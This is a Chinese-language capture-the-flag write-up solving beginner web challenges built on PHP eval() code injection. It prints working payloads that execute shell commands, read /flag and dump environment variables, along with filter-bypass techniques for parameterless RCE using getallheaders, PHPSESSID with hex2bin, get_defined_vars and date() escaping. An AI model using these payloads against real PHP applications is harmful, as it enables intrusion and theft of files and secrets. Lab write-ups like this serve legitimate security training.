A1CTF 敲门砖-带你入门CTF😋 WEB方向全解

A1CTF 敲门砖-带你入门CTF😋 WEB方向全解
LuooUEvalMachine Zero
EvalMachine 堂堂连载!
你能够在全是冰的情况下选择自己的function而不是溜冰吗?☝️🤓
什么?你说有人在里面掺了春日影?!赤石去吧凑企鹅😡
(打开允许重定向以获取更好的溜冰体验(雾))出题人:AyaN0
无过滤RCE,外层套了eval();
要知道env/ls这些命令都是要在shell里执行的,eval执行的是一些php代码,要执行shell命令还得看system,echo ,exec() ,assert()或 passthru().
payload:
1 | system("tac /flag"); |
EvalMachine Ⅰ
当你从凑企鹅的溜冰领域逃离后,
EvalMachine Zero成功被启动了在你一阵眩晕后,你发现了另一个相似的”function”机器,那是
EvalMachine Ⅰ可当你想冲过去启动时,你的面前出现了一个熟悉的架子
!!!耄耋正在看着你!!!
!!!耄耋的头变圆了!!!
“哈!”耄耋向你发起了攻击
赶快,想想其他办法来绕过耄耋的强化普攻,在耄耋变强之前启动
EvalMachine Ⅰ出题人:AyaN0
依然是eval命令执行,但是ban了system。
我用:
1 | echo `tac /flag`; |
发现了题目给的提示:
1 | After Security Filtering: echo `tac /flag`;(); |
在后面加上了();,我们直接注释掉就可以了。
最终payload:
1 | echo `tac /flag`;# |
EvalMachine Ⅱ
[此猫有哈根,可以达斯了]
你成功的驯服了耄耋,在启动
Eval MachineⅠ后,你发现耄耋没有消失,而是跟着你到了传送到了下一个地方总感觉四周很安静呢,可是你又看到了书架,难道说..?
别多想,这里只是一个图书馆
你随便挑了一本书,找了个位置坐下,向四周偷偷观察
Eval Machine Ⅱ会在哪里呢。。可是在观察了半天后你都没有发现它的踪影,正当你想离开时,耄耋突然发出了尖锐的爆鸣,你看向它哈气的方向:有人正在拿着手机偷拍你,看这样子已经拍了好一会了
不好!要被炼化成保研丹了!耄耋催促你赶紧向它发起决斗
可是只有突破[无参数]的限制才能顺利的打倒对方,不然对面的综合战力没有人可以打败她。
出题人: AyaN0
题目提示无参数RCE,无参数RCE一般的过滤:
1 | if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ |
没有单双引号,没有$ []等各种伪协议可以用的符号,就可以考虑无参数RCE,绕过方法有很多。
无参数RCE绕过的详细总结(六种方法)_无参数的取反rce-CSDN博客罕见不需要VIP的精品教程
我依然先初步给出payload:
1 | var_dump(scandir(current(localeconv()))); |
var_dump():把变量的类型和值打印出来,e.g:1
var_dump("phpinfo();")-->string(10) "phpinfo();"
类似的有
print_r().所以回看payload,
var_dump里的是数组。scandir():返回的结果是一个数组,包含当前目录中的所有文件和目录名称。还有glob()也是一个效果。他将是我们无法使用system('ls');的最佳替代方案。但是
scandir()是需要参数的,参数就是我们想看的目录路径(如.代表当前目录、/代表根目录)我们要看当前目录怎么做?怎么构造
.这个字符串?localeconv():返回一个包含本地数字及货币格式信息的数组。通常来讲第一个都是
.,例如本题:那当务之急就是锁定第一个,我们可以用:
current()或pos():返回数组中的单元,默认取第一个值。也就是说,我们通过
current(localeconv()),得到了'.',最终作为scandir()的参数,返回当前目录的文件名数组。如果flag就在当前目录里,我们用
scandir(current(localeconv()));就可以看到,然后就可以根据位置写,例如:1
2
3
4
5
6
7end() : 将内部指针指向数组中的最后一个元素,并输出
next() :将内部指针指向数组中的下一个元素,并输出
prev() :将内部指针指向数组中的上一个元素,并输出
reset() : 将内部指针指向数组中的第一个元素,并输出
each() : 返回当前元素的键名和键值,并将内部指针向前移动
current() : 指针指向第一个元素并输出(默认第一个)
pos() : 指针指向第一个元素并输出(默认第一个)这是指针跳跃的函数,实在不行,再加上
array_reverse()让数组的元素调转顺序,让靠后的flag文件往前走。上面的最后,用一些读取文件的命令:
1
2
3
4cat/tac
highlight_file()
show_source()
readfile()就能看到指定文件的内容了。
但是这道题不行XD.
我们这里需要返回上一级目录,因为flag在根目录里,我们就可以用内鬼组合拳:
1 | var_dump(scandir(dirname(dirname(dirname(getcwd()))))); |
getcwd():获取当前工作目录路径,比如我们这道题就是var/www/html.dirname():获取路径中的目录部分,套一层就是var/www,套两层就是/var,套三层就到达了根目录。到达根目录,用
scandir()拿到指定目录的文件列表。类似的还有
chdir(),直接改变工作目录,参数就是目标目录。执行成功会返回true,强制转换成1.但是因为flag在根目录,所以最后我们需要写的应该是
/flag,但是根本没有/可以用!用
chdir()改变工作目录,试过但是没用。
getallheaders():
仅限Apache,还有apache_request_headers()可以替代。
我们在请求头最后一行加一个恶意代码,再用指针跳跃函数指向并执行,就可以达到任意RCE的效果。
这题能用的确实很少,但是有文件包含show_source可以用,我们再去sky里写../../../flag,就可以直接读到flag文件的内容。
最终payload:
1 | show_source(pos(getallheaders())); |
Session ID
原理:Cookie 中的 PHPSESSID 归我们控制,且 session_id(session_start()) 可以无参数获取它。
payload:
1 | show_source(session_id(session_start())); |
然后再去请求头中加Cookie: PHPSESSID=/flag。
session_start()保证session_id()的使用,session_id用来获取当前会话的ID,即抓取PHPSESSID的内容。
但是这道题题目环境被限制了,因为Headers需要在Body之前发送,但是题目先执行了类似 echo "After Security Filtering..." 的操作,导致网页内容已经响应,就不能再反过来改请求头了。
抛开题目不谈,我们接着讲PHPSESSID:
如果要执行的命令里包含特殊字符,就需要把命令写成十六进制编码后的值,利用php原生的bin2hex和hex2bin编码解码就可以了。
编码exp:
1 |
|
把结果填入PHPSESSID中,再执行:
1 | eval(hex2bin(session_id(session_start()))); |
get_defined_vars():
顾名思义,获取所有被定义过的变量,包括$_GET/$_POST/$_FILES/$_COOKIE.
在后面再加一个参数,写payload就可以了。
1 | eval(end(current(get_defined_vars())));&b=system("env"); |
array_flip()/array_rand() 赌狗读:
读本目录的payload:
1 | show_source(array_rand(array_flip(scandir(getcwd())))); |
通过array_flip()交换键值,让文件名变成键,就可以再用array_rand()随机返回数组的一个键,比如./../index.html,用dirname()套娃就可以到达根目录。
这个可读根目录,长长见识就好:
1 | print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))))); |
1 | show_source(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array() ))))))))))); |
再通过intruder爆破就好。
GET & POST
请输入文本…
fxxk_daaate
题目有一个date()函数,用反斜杠避免转义就可以,最终payload可以是:
1 | cmd=\s\y\s\t\e\m("\t\a\c /\f\l\a\g"); |




